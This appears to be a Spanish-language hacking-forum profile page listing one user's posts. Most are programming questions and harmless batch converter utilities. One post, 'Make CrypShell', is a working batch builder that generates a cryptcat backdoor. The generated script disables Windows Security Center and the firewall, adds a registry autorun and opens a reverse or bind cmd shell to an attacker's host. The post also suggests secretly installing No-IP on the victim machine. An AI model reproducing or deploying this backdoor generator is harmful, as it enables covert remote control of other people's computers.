elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el ttwitter! de elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Media / Diseño Gráfico / [?]¿Androide con efecto metalizado? en: 14 Enero 2011, 22:47 pm
¿Cómo consigo crear el efecto de un androide con "piel metálica" y partes mecánica?
Yo empecé a usar Photoshop CS3. He intentado fusionar y eso pero no queda como yo pretendo.
Espero que me puedan ayudar. Gracias
2  Programación / .NET (C#, VB.NET, ASP) / Visual Basic .NET conectado a Access en: 4 Octubre 2010, 20:17 pm
¿Cómo lo hago? ¿Es lo mismo que en VB6?

Le pregunto esto porque tengo pensado usar VB 2008 desde ahora y he realizado sistemas que emplean base de datos locales (en este caso siempre he usado Access).

Mas bien, también he realizado otros sistemas en el que uso MySQL pero utilizando un driver para esto.

Me gustaría mucho que me dijeran si es que es posible seguir usándolo de la misma manera a esto, es decir, hacer uso de Access y/o MySQL con el driver [que se descarga desde ]www.mysql.com]

Gracias y espero que me puedan ayudar.
3  Programación / Programación General / ¿Cómo utilizo C# para conectar y operar con una BD MySQL? en: 19 Mayo 2010, 17:54 pm
Bueno, mi pregunta es la del asunto. Resulta que antes utlilizaba VB6 para hacer los sistemas, pero quiero utilizar tecnología .NET y quise dejar a VB, así que ahora que estoy usando C# me gustaría saber cómo hacer operaciones básicas (bajas, altas, modificaciones, etc.) con este lenguaje y con MySQL.

Gracias al que pueda ayudar o me oriente. Saludos.
4  Programación / Programación General / ¿Se puede hacer una búsqueda de archivos según su formato? en: 2 Mayo 2010, 19:50 pm
Me refiero a que si es posible buscar archivos sin tener en cuenta ni la extensión del mismo ni el nombre.

Por ejemplo, si a un archivo de audio en formato mp3 le cambiase su extensión y le escribo como wma, se reproducirá normalmente ya que se trata en realidad de un mp3 solo que con la extensión cambiada. Ahora, si yo lo busco como mp3 por "métodos convencionales", pues no encontrará nada... Pero, ¿si lo busco por su formato o estructura?. ¿Es posible esto? Gracias y saludos.

5  Programación / Scripting / Make CrypShell en: 12 Febrero 2010, 01:02 am
Bueno, este es un código que me lo pasaron hace muchisimo tiempo (1 año y un poco más +/-) RockoX y Lukhardy, pero recién ahora lo publico ya que ellos no me lo permitian ya que estaban mejorandolo pero creo que no lo continuaron, hasta donde sé...

Lo que hace es simplemente crear un servidor del cryptcat con todas las configuraciones necesarias para conectar a un PC remoto. El código es totalmente seguro y trae todo un simple manual al final sobre cómo utilizarlo.

El código en realidad se hace grande porque incluye un binario, solo eso :silbar:.

Código:
@echo off
::por RockoX & Lukhardy
color 02
mode con cols=120
mode con lines=35
set LR=echo
set k=echo.
title --    Make CrypSHell v.1.0.0   --
%k%
%k%
%k%
%k%
%k%
%k%
%k%
%LR%           ========================================================================================
%k%

%LR%                            CCCCCCCC        RRRRRRRRRRRRRR  YYYYYY    YYYYYY  PPPPPPPPPPPP  
%LR%                          CCCC      CCCC    RRRR        RRRR  YYYY    YYYY    PPPP      PPPP
%LR%                        CCCC                RRRR        RRRR    YYYYYYYY      PPPP      PPPP
%LR%                        CCCC                RRRRRRRRRRRRRR      YYYYYYYY      PPPPPPPPPPPP  
%LR%                        CCCC                RRRR    RRRR          YYYY        PPPP          
%LR%                          CCCC      CCCC    RRRR    RRRRRR        YYYY        PPPP          
%LR%                            CCCCCCCC        RRRR      RRRRRR      YYYY        PPPP  
%k%
%LR%                                                 VERSION 1.0.0      
%k%
%LR%                          ssssssssss    hhhh    hhhh    eeeeeeeeeeee  llll        llll      
%LR%                        ssss            hhhh    hhhh    eeee          llll        llll      
%LR%                        ssssssssssss    hhhhhhhhhhhh    eeeeeeeeee    llll        llll      
%LR%                          ssssssssssss  hhhh    hhhh    eeee          llll        llll      
%LR%                                  ssss  hhhh    hhhh    eeee          llll        llll      
%LR%                        ssssssssssss    hhhh    hhhh    eeeeeeeeeeee  llllllllll  llllllllll
%k%
%k%
%LR%            ========================================================================================
%K%
%LR%                                                                               Por RockoX ^& Lukhardy
%LR%                                                                               [ - GPL - ]
pause>nul
cls
:menu
cls
%LR% --- Menu de configuracion ---
%k%
%LR% 1- Shell remota inversa (Server conecta con cliente)
%LR% 2- Shell remota directa (Cliente conecta con Server)
%k%
%LR% 3- RESERVADO PARA NIRCMD (No implementado en esta version)
%k%
%LR% _____________________________________________________________________________________
%LR% 4- Leer acerca de como ocultar la ventana del MS-DOS durante la ejecucion del script.
%LR% _____________________________________________________________________________________
set /p opc=
if ["%opc%"]==[""] (
cls
%LR% DEBES ESCRIBIR UNA OPCION VALIDA.
pause
goto :menu)
if NOT %opc%==1 (
if NOT %opc%==2 (
if NOT %opc%==3 (
if NOT %opc%==4 (
cls
%LR% DEBES ESCRIBIR UNA OPCION VALIDA.
pause
goto :menu
))))
if %opc%==1 goto :remotainversa
if %opc%==2 goto :remotadirecta
if %opc%==3 goto :Nrmd
if %opc%==4 goto :hide

:remotainversa
cls
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
%LR%      CONFIGURACION DEL SERVER
%k%
%LR% --------------------------------------------
set /p Host=  Escribe tu direccion de IP o cuenta de No-IP:  
if ["%Host%"]==[""] (
goto:remotainversa
)
:Tipo_Shell
%k%
%lr% 1.-CMD.EXE
%lr% 2.-COMMAND.COM
%k%
set /p Shellx=Especifica el tipo de Shell :
if ["%Shellx%"]==[""] (
cls
goto:Tipo_Shell
)
if %Shellx% GTR 2 (
cls
goto:Tipo_Shell
)
if %Shellx% LSS 1 (
cls
goto:Tipo_Shell
)
rem Lista de puertos prohibidos :
rem Estos puertos son comunmente usados por el sistema, lo que lanzaria un error.
rem 137,138,139,443,445
:Port_Config
set /p puerto=  Puerto:
if ["%puerto%"]==[""] (
cls
goto:Port_Config  
)

for %%a in (137, 138, 139, 443, 445) do (
if %puerto%==%%a (
%lr% Puerto no accesible, intenta otro.
pause>nul
cls
goto:Port_Config
)
)
:Ruta_Remota
%LR% Especificar ruta en donde se creara cryptcat en la pc remota
%k%
%LR%[SE RECOMIENDA OPTAR POR CUALQUIERA DE ESTAS: (%%systemroot%% ^| %%windir%% ^| %%systemroot%\System32) ]
%k%
set /p ruta=  Ruta:  
if ["%ruta%"]==[""] (
cls
goto:Ruta_Remota
)
%LR% --------------------------------------------
:PING_CRP
%LR% Especificar TIEMPO en segundos en que se ejecutara Cryptcat Server (Para ver ayuda escribir HELP)
set /p ping= Segundos:  
if ["%ping%"]==[""] (
cls
goto:PING_CRP
)
if %ping% LSS 0 (
cls
goto:PING_CRP
)
if %ping%==HELP goto :Ayuda_ping
if %ping%==help goto :Ayuda_ping

:: Si el usuario no puso "HELP" ni "help" continua con el codigo usando la etiqueta ":next"
if NOT %ping%==HELP goto :Helpmini
:Helpmini
if NOT %ping%==help goto :next

:next
%LR% --------------------------------------------
set /p file=  Nombre del batch (no incluir extension):
if ["%file%"]==[""] (
cls
goto:Next
)
if %file:~-4%==.bat (
cls
echo No debias incluir extension en el nombre del Archivo.
pause>nul
goto:next
)
%k%
setlocal
:Autorun
set /p autorun= Crear autorun en registro? (S/N):
if ["%autorun%"]==[""] (
cls
goto:Autorun
)
if %autorun%==s goto :crearautorun
if %autorun%==S goto :crearautorun
if %errorlevel%==1 (%LR% Decidiste no crear el Autorun, pero puedes hacerlo modificando el codigo mas tarde.)
endlocal
:crearautorun
set /p autorun= Escribe el Nombre del valor:
if ["%autorun%"]==[""] (
cls
goto:crearautorun
)
%k%
pause
cls
%k%
%k%
%LR% RECUERDA:
%LR% Lo que debes escribir en tu cryptcat para poder conectarte es al server que acabas de crear es:
%k%
%LR%      cryptcat -vv -L -p %puerto%
%LR% Para que lo recuerdes se creo un archivo CONECTADO.TXT en tu disco %homedrive%.
%LR% Has creado un server que trabaja en el puerto %puerto%>"%homedrive%\Conectado.txt"
%LR% Para hacerlo debes escribir: cryptcat -vv -L -p %puerto%>>"%homedrive%\Conectado.txt"
%LR% Atentamente: Lukhardy ^& RockoX>>"%homedrive%\Conectado.txt"
%k%
pause

:: Muestra un mensaje indicando que se esta creando el archivo
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%
%LR%     Creando %file%.bat ^>^>^>
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%
%LR%     Al concluir se cerrara Crypshell. Suerte.
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%

:: Se crea el archivo en el que contendra los comandos necesarios
::para la ejecucion del cryptcat en forma INVERSA
%LR%@echo off>%file%.bat
%LR%net stop "Centro de seguridad">>%file%.bat
%LR%net stop "SharedAccess">>%file%.bat
%LR%net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)">>%file%.bat
%LR%set LR=echo >>%file%.bat
%LR%reg query hklm\software\microsoft\windows\currentversion\run /v %autorun%>>%file%.bat
%LR%if errorlevel 1 (>>%file%.bat
%LR%reg add hklm\software\microsoft\windows\currentversion\run /v %autorun% /t reg_sz /d %ruta%\cryptcat.exe>>%file%.bat
%LR%) else (goto :verificarcryp)>>%file%.bat
%LR%:verificarcryp>>%file%.bat
%LR%if exist %ruta%\cryptcat.exe (goto :openshell)>>%file%.bat
%LR%call:crp^>^"temp.com^">>%file%.bat
%LR%call temp.com^>nul>>%file%.bat
%LR%if exist cryptcat.exe (goto :proceso)>>%file%.bat
%LR%:proceso>>%file%.bat
%LR%del /f /q temp.com>>%file%.bat
%LR%move cryptcat.exe %ruta%\cryptcat.exe>>%file%.bat
%LR%if exist %ruta%\cryptcat.exe (goto :openshell)>>%file%.bat
%LR%:openshell>>%file%.bat
%LR%ping -n %ping% localhost^>nul>>%file%.bat
%LR%cryptcat -d -e %Shellx% %Host% %puerto%>>%file%.bat
%LR%goto :openshell>>%file%.bat
%LR%:crp>>%file%.bat
call:crp>>%file%.bat

:remotadirecta
cls
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
%LR%      CONFIGURACION DEL SERVER
%LR% --------------------------------------------
:Tipo_Shell_directa
%k%
%lr% 1.-CMD.EXE
%lr% 2.-COMMAND.COM
%k%
set /p Shelld=Especifica el tipo de Shell :
if ["%Shelld%"]==[""] (
cls
goto:Tipo_Shell_directa
)
if %Shelld% LSS 1 (
cls
goto:Tipo_Shell_directa
)
if %Shelld% GTR 2 (
cls
goto:Tipo_Shell_directa
)
rem Lista de puertos prohibidos :
rem Estos puertos son comunmente usados por el sistema, lo que lanzaria un error.
rem 137,138,139,443,445
:Port_Config_Directa
%LR% --------------------------------------------
set /p puertod=  Escribe el puerto por el que conectaras:  
%LR% --------------------------------------------
if ["%puertod%"]==[""] (
goto:Port_Config_Directa
)
for %%a in (137, 138, 139, 443, 445) do (
if %puertod%==%%a (
%lr% Puerto no accesible, intenta otro.
pause>nul
cls
goto:Port_Config_Directa
)
)
:Ruta_remota_directa
%LR% Especificar ruta en donde se creara cryptcat en la pc remota
%k%
%LR%  [SE RECOMIENDA OPTAR POR CUALQUIERA DE ESTAS: (%%systemroot%% ^| %%windir%% ^| %%systemroot%\System32) ]
%k%
set /p ruta=  Ruta:  
if ["%ruta%"]==[""] (
cls
goto:Ruta_remota_directa
)
:NameBatch
%LR% --------------------------------------------
set /p file=  Nombre del batch (no incluir extension):
if ["%file%"]==[""] (
cls
goto:NameBatch
)
if %file:~-4%==.bat (
cls
echo No debias incluir extension en el nombre del Archivo.
pause>nul
goto:NameBatch
)
%k%
:CrearAutorun_Directa
setlocal
set /p autorun= Crear autorun en registro? (S/N):
if ["%autorun%"]==[""] (
cls
goto:CrearAutorun_Directa
)
if %autorun%==s goto :crearautorun
if %autorun%==S goto :crearautorun
if errorlevel 1 (%LR% Decidiste no crear el autorun, pero puedes hacerlo modificando el codigo mas tarde)
endlocal
:crearautorun
set /p autorun= Escribe el Nombre del valor:
if ["%autorun%"]==[""] (
cls
goto:Crearautorun
)
%k%
pause
cls
%k%
%k%
:recordatorio_Directa
%LR% RECUERDA:
%LR% Para conectar con el server debes escribir:
%LR%     cryptcat -vv IP/HOST_de_la_PC_Remota %pertod%
%k%
%LR% El problema de siempre: algunas IP son dinamicas entonces seria un poco dificil encontrar
%LR% la IP en donde esta el cryptcat de la PC remota. Por lo que se sugiere instalarle de forma
%LR% sigilosa el NO-IP en la PC remota y asi poder conectarte usando el HOST del NO-IP o
%LR% emplear cualquier metodo para hacerlo =P.
%k%
%LR% Para que lo recuerdes se creo un archivo CONECTADO.TXT en tu disco %homedrive%.
%LR% Has creado un server que trabaja en el puerto %puertod%>"%homedrive%\Conectado.txt"
%LR% Para hacerlo debes escribir: cryptcat -vv IP/HOST_de_la_PC_Remota %puertod%>>"%homedrive%\Conectado.txt"
%LR% Atentamente: Lukhardy ^& RockoX>>"%homedrive%\Conectado.txt"
pause
cls

Continúa abajo...
6  Programación / Scripting / Funciones utiles [batch] en: 12 Febrero 2010, 00:37 am
Aqui estan otras más que pude encontrar en mi extinto disco.

EDITO: Ya supe de quien eran los códigos: The Shadow  :silbar:

Invertir cadena de texto

Código:
@echo off
::Por: yo no, si The Shadow ¬¬, jeje
::Info: Invierte una cadena especifica
::Parametros: %1=cadena
::Devuelve: %ohce%=cadena invertida
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
echo %ohce%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF

Longitud de cadena

Código:
@echo off
::LEN
::Info: Regresa la longitud de la cadena especificada.
::      Si la cadena contiene espacios, el script
::      tomara la cadena que esta antes del 1er espacio.
::Parametros: %1=cadena
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
echo %len%
set bol=1
)
goto :EOF
7  Programación / Scripting / Conversores en Batch en: 12 Febrero 2010, 00:34 am
Estos códigos los encontré en una de las partes que no estaba dañada de mi disco (la única parte debe ser porque lo otro no anda  ;D). Sinceramente no recuerdo haberlos hecho yo u otro  :-\  . (tiro a lo segundo help).

A propósito, las probé y todas funcionan bien, asi que no creo que haya problemas


EDITO: Ya supe de quien eran los códigos: The Shadow  :silbar:

He aquí estas funciones:

Decimal a Binario

Código:
@echo off
::Info: Convierte un numero decimal a binario
::Parametros: %1=numero decimal
::Devuelve: %bin%=numero binario
::Nivel de precision:1 byte
:d2b
setlocal
if %1'==' goto err
set /a cmp=%1*1
if not %cmp%==%1 goto err
if /I %1 gtr 198 goto err
set bin=
set ay=%1
if %ay%==1 (set bin=1 && goto enda)
:aval
set lim=a
call :len %ay%
set /a lon=%len%-1
set lim=9
for /L %%a in (1,1,%lon%) do (
set lim=9%lim%
)
set lim=%lim: =%
set naa=0
:cnta
if "%naa%"=="%lim%" (goto tst)
set /a cy=%naa%*2
if /I "%cy%" EQU "%ay%" (
set bin=%bin%0
goto cmp
)
set /a naa=%naa%+1
goto cnta
:tst
set bin=%bin%1
:cmp
if /I %ay% lss 2 goto end
set /A ay=%ay%/2
goto aval
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF
:err
echo La sintaxis es: && echo.
echo d2b [numero]
echo. && echo Los numeros estan limitados a 1 byte aprox.
goto :EOF
:end
call :ohce %bin%
set bin=%ohce%
:enda
echo %bin%
endlocal
goto :EOF

Decimal a Hexadecimal

Código:
@echo off
if %1'==' goto er_h
set hexstr=0123456789ABCDEF
set last=
set /A dec=%1
:loop2
set /A ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (
set /A dec=%dec%/16
) else (
echo %last%
goto:EOF
)
goto:loop2
:evals
set last=%1%last%
goto:EOF
:er_h
echo La sintaxis es: d2h [numero]
goto :EOF

Hexadecimal a Binario

Código:
@echo off
::Info: Convierte un numero hexadecimal a binario
::Parametros: %1=numero hexadecimal
::Devuelve: %bin%=numero binario
::Nivel de precision:1 byte
:h2b
setlocal
if %1'==' goto err
call :h2d %1
if /I %dec% gtr 198 goto err
set bin=
set ay=%dec%
if %ay%==1 (set bin=1 && goto enda)
:aval
set lim=a
call :len %ay%
set /a lon=%len%-1
set lim=9
for /L %%a in (1,1,%lon%) do (
set lim=9%lim%
)
set lim=%lim: =%
set naa=0
:cnta
if "%naa%"=="%lim%" (goto tst)
set /a cy=%naa%*2
if /I "%cy%" EQU "%ay%" (
set bin=%bin%0
goto cmp
)
set /a naa=%naa%+1
goto cnta
:tst
set bin=%bin%1
:cmp
if /I %ay% lss 2 goto end
set /A ay=%ay%/2
goto aval
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF
:h2d
set dec="La sintaxis es: h2d [numero_hexadecimal]"
set /a dec=0x%1*1
goto :EOF
:err
echo La sintaxis es: && echo.
echo h2b [numero]
echo. && echo Los numeros estan limitados a 1 byte aprox.
goto :EOF
:end
call :ohce %bin%
set bin=%ohce%
:enda
echo %bin%
endlocal
goto :EOF

Hexadecimal a Decimal

Código:
@echo off
::Info: Convierte un numero hexadecimal a decimal
::Parametros: %1=numero hexadecimanl
::Devuelve: %h2d%=numero decimal
:h2d
set dec="La sintaxis es: h2d [numero_hexadecimal]"
set /a dec=0x%1*1
echo %dec% && goto :EOF

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines